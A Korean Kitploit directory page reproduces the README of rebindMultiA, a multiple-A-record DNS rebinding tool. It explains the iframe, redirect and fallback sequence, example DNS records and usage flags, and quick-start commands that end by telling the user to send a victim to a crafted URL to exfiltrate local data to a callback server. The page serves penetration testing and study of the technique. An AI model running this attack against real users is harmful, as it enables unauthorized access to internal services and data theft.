Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
rebindMultiA — DNS 리바인딩 공격 도구로, 여러 개의 A 레코드를 악용하여 동일 출처 정책을 우회하고 브라우저 폴백 동작을 통해 내부 네트워크 서비스에서 데이터를 유출합니다. | Kitploit
도구/GitHubGitHub/rhynorater/rebindmultia
ExploitationWeb Application ExploitationPenetration TestingRed TeamingDNS Analysis
GitHubrhynorater/rebindmultia

rebindMultiA

DNS 리바인딩 공격 도구로, 여러 개의 A 레코드를 악용하여 동일 출처 정책을 우회하고 브라우저 폴백 동작을 통해 내부 네트워크 서비스에서 데이터를 유출합니다.

저장소 보기
6493년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

rebindMultiA

rebindMultiA는 Multiple A Record 리바인딩 공격을 수행하는 도구입니다.

rebindmultia.com은 이러한 공격을 지원하기 위해 제가 설정한 도메인입니다. 이 도메인은 모든 IP를 [IP].ns.rebindmultia.com 도메인의 자체 권한 네임서버로 만듭니다. 예를 들어, 13.33.33.37.ns.rebindmultia.com의 권한 네임서버는 13.33.33.37.ip.rebindmultia.com이며, 이는 (짐작하셨겠지만) 13.33.33.37로 해석됩니다.

Multiple A Record Rebind Attack

MultiA Record Rebind 공격은 DNS 리바인딩의 변형으로, 공격자가 DNS 요청에 대해 두 개의 IP 주소로 응답하고 첫 번째 IP가 응답하지 않을 때 브라우저가 DNS 응답의 두 번째 IP로 폴백(fallback)하는 경향을 악용합니다. 이 공격에서 공격자는 악의적인 DNS 서버와 두 개의 악의적인 HTTP 서버를 구성합니다. DNS 서버는 두 개의 A 레코드로 응답합니다:

root@kitploit:~
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1

피해자의 브라우저는 첫 번째 IP에 연결하여 공격자의 첫 번째 악의적인 HTTP 서버와 상호작용을 시작합니다. 이 서버는 /steal과 /rebind라는 두 개의 iframe이 포함된 페이지로 응답합니다. /steal iframe은 악의적인 페이지를 로드하여 두 번째 iframe에 접근하여 콘텐츠를 가져옵니다. /rebind 엔드포인트는 요청을 받으면 /로 302 리디렉션을 발행하고 첫 번째 악의적인 HTTP 서버를 종료(kill)합니다. 그 결과, 브라우저가 다시 공격자의 HTTP 서버에 연결하려고 할 때 닫힌 포트를 만나게 됩니다. 따라서 두 번째 IP로 폴백(fallback)합니다. 두 번째 iframe에 대상 콘텐츠가 로드되면 첫 번째 iframe이 해당 콘텐츠에 접근하여 데이터를 훔친 후 공격자의 두 번째 악의적인 HTTP 서버(콜백 서버)로 유출(exfiltrate)합니다.

이 공격은 Windows 환경에서만 작동합니다. Linux와 Mac은 사설 IP를 우선적으로 사용하며 공격자의 서버는 절대 쿼리되지 않습니다.

그래픽 + 설명

Screenshot

  1. 브라우저가 호스트 127.0.0.1.target.13.33.33.37.ns.rebindmultia.com을 해석합니다.
  2. DNS 서버(server.py에 포함됨)가 요청된 DNS 이름을 파싱하고 두 개의 A 레코드(13.33.33.37 및 127.0.0.1)를 반환합니다.
  3. 피해자의 브라우저가 공격자의 악의적인 HTTP 서버(server.py에 포함됨)에 접속하여 두 개의 iframe이 포함된 /parent 페이지를 로드합니다.
  4. 피해자의 브라우저가 공격자의 악의적인 HTTP 서버에서 /steal을 로드합니다.
  5. 피해자의 브라우저가 /rebind를 로드하면 /로 302 리디렉션이 발생합니다(HTTP 서버는 이 요청 후 종료됩니다).
  6. 피해자의 브라우저가 공격자 서버의 302에 따라 /로 리디렉션됩니다.
  7. 피해자의 브라우저가 (이제 종료된) 공격자의 HTTP 서버에서 /를 로드하려고 시도하지만 실패합니다.
  8. 그런 다음 브라우저는 DNS 캐시의 두 번째 IP로 전환하여 호스트 이름을 127.0.0.1로 해석합니다. 이후 해당 서버에 접속하여 iframe에 페이지를 로드합니다.

사용법

root@kitploit:~
pip3 install -r requirements.txt
python3 server.py --help
root@kitploit:~
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]

선택적 인자:
  -h, --help            이 도움말 메시지를 표시하고 종료합니다.
  -p PORT, --port PORT  대상 IP에서 공격할 포트를 지정합니다. 기본값: 80
  -c CALLBACK_PORT, --callback-port CALLBACK_PORT
                        콜백 HTTP 서버 포트를 지정합니다. 기본값: 31337
  -d DNS_PORT, --dns-port DNS_PORT
                        DNS 서버 포트를 지정합니다. 기본값: 53
  -f FILE, --file FILE  첫 번째 iframe("steal" iframe)에 표시할 HTML 파일을 지정합니다. 기본값: steal.html
  -l LOCATION, --location LOCATION
                        대상에서 훔치려는 데이터의 위치를 지정합니다. 기본값: /

다음과 같은 오류가 발생하는 경우:

root@kitploit:~
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py

Traceback (most recent call last):
  File "server.py", line 2, in <module>
    from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'

더 최신 버전의 Python을 사용해야 합니다. Python 3.7+ 이상.

빠른 시작

이것은 공개적으로 접근 가능한 IP에서 실행해야 합니다.

root@kitploit:~
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "피해자를 http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent 로 보내 127.0.0.1을 유출(exfil)하세요."
sudo python3 server.py
도구 다운로드
  • 공격자의 steal iframe이 새로 로드된 두 번째 iframe에 접근하여 콘텐츠를 가져옵니다.
  • 공격자의 steal iframe이 결과를 다시 공격자의 콜백 서버로 전송합니다.